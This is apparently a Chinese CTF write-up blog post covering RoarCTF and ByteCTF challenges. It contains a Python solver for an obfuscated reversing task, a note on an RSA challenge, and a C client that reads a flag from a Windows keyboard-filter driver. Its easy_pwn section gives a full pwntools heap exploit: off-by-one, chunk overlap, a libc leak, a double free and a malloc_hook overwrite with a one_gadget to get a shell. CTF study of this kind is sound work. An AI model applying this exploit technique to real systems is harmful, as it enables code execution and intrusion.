[TOC]
RoarCTF
队里主要打hitcon,然而我唯一有点思路看得懂的re被哥哥们秒了,每当hitcon的题目看崩溃的时候就做做roarctf的题,结果还拿了个逆向二血。。。还有一个只三队做出的re非预期解后面单独发
polyre
加了ollvm,去混淆后白给
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| '''c1=0xBC8FF26D43536296
c1=0x7b46544372616f52'''
c1=0xBC8FF26D43536296
for i in range(64): tmp=c1 if(tmp&1==1): c1=(c1^0xB0004B7679FA26B3) c1=(c1>>1) c1=c1|0x8000000000000000 if(tmp&1==0): c1=(c1>>1)&0x7fffffffffffffff print c1
print hex(c1)[2:-1].decode('hex') c1=0x7b46544372616f52 for i in range(64): if(c1&0x8000000000000000==0): c1=(c1*2)&0xffffffffffffffff else: c1=(c1*2)&0xffffffffffffffff c1=(c1^0xB0004B7679FA26B3)&0xffffffffffffffff
|
babyrsa
主要考点在B! %A(A和B都很大,但是相近)
用威尔逊定理可以求得,然后flag就有了
pwn
easy_pwn
off_by_one + overlop
参考学弟给的图,基本上就是这题的做法了
最终double free过后可以写malloc_hook(构造malloc_hook地址的时候有所偏移,要保证size刚好是0x7x)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| from pwn import *
p = process('./easy_pwn')
def add(size): p.recvuntil('choice: ') p.sendline('1') p.recvuntil('size: ') p.sendline(str(size)) def edit(idx, size, data): p.recvuntil('choice: ') p.sendline('2') p.recvuntil('index: ') p.sendline(str(idx)) p.recvuntil('size: ') p.sendline(str(size)) p.recvuntil('content: ') p.send(data)
def remove(idx): p.recvuntil('choice: ') p.sendline('3') p.recvuntil('index: ') p.sendline(str(idx))
def show(idx): p.recvuntil('choice: ') p.sendline('4') p.recvuntil('index: ') p.sendline(str(idx)) add(0x28) add(0x100) add(0x100) gdb.attach(p) edit(1, 0xf8, '\x00'*0xf0 + p64(0x100)) remove(1)
edit(0, 0x28+10, '\x00'*0x29) add(0x80) add(0x60)
remove(1) remove(2)
add(0x80) add(0x100) add(0x20)
remove(2) show(3)
p.recvuntil('content: ') libc_base = u64(p.recvn(6).ljust(8, '\x00')) - 0x3c4b78 one_gadget = libc_base + 0xf02a4 malloc_hook = libc_base + 0x3c4afd success("libc_base: %#x" % libc_base)
add(0x60) add(0x60)
remove(2) remove(5) remove(3)
add(0x60) edit(2, 8, p64(malloc_hook)) add(0x60) add(0x60) add(0x60)
edit(6, 11, 'a'*3 + p64(one_gadget))
remove(2) remove(5)
p.interactive()
|
ByteCTF
2333 第一次做驱动题,环境都是现问的朋友现搭的
是一个键盘过滤
注意一些需要patch的地方,比如一些反调试,0xDEADBEEF,这个最后似乎也没用上,可以直接nop,Fake_Intel,拿去算md5的值了,md5值拿去做aes的密钥了
然后根据你的键盘输入生成code,然而题目直接给了code,所以直接改内存值就好了。
最后code拿去参与aes的运算,再写个ring3通信的程序,就可以读出flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
|
#include<stdio.h> #include <windows.h>
#define DEVICE_LINK_NAME L"\\\\.\\DancingKeys"
int main() { HANDLE DeviceHandle = CreateFile(DEVICE_LINK_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (DeviceHandle == INVALID_HANDLE_VALUE) { return 0; } char *BufferData = NULL; BufferData = (char *)malloc(sizeof(char) * 0x100); char InBufferData[5] = { '1' ,'2','3','4','5'}; DWORD ReturnLength = 0; int IsOk = DeviceIoControl(DeviceHandle, 0x222404, (LPVOID)InBufferData, 0, (LPVOID)BufferData, 0x64, &ReturnLength, NULL); printf("%d\n", IsOk); printf("%d\n", ReturnLength); for (int i = 0; i < 100; i++) printf("%c ", BufferData[i]); if (DeviceHandle != NULL) { CloseHandle(DeviceHandle); DeviceHandle = NULL; } printf("Input AnyKey To Exit\r\n");
getchar(); return 0; }
|